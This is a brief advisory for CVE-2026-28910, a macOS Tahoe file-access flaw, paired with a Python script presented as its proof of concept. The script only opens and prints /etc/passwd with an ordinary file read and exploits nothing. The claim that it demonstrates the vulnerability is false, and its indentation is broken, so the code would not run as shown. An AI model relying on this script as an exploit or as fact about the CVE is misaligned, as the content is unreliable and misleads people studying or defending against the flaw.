This issue was addressed with improved permissions checking. This issue is fixed in macOS Tahoe 26.4. A malicious app may be able to access arbitrary files.
The following code is for security research and authorized testing only.
python
import os
# Proof of Concept for CVE-2026-28910
# This script simulates a malicious app attempting to access arbitrary files
# due to missing permission checks in macOS Tahoe < 26.4.
def exploit():
target_file = "/etc/passwd" # Example restricted file
try:
# Attempt to read the file which should normally be restricted
with open(target_file, 'r') as f:
content = f.read()
print(f"[+] Successfully read {target_file}:")
print(content[:100]) # Print first 100 chars
except PermissionError:
print("[-] Permission denied.")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
exploit()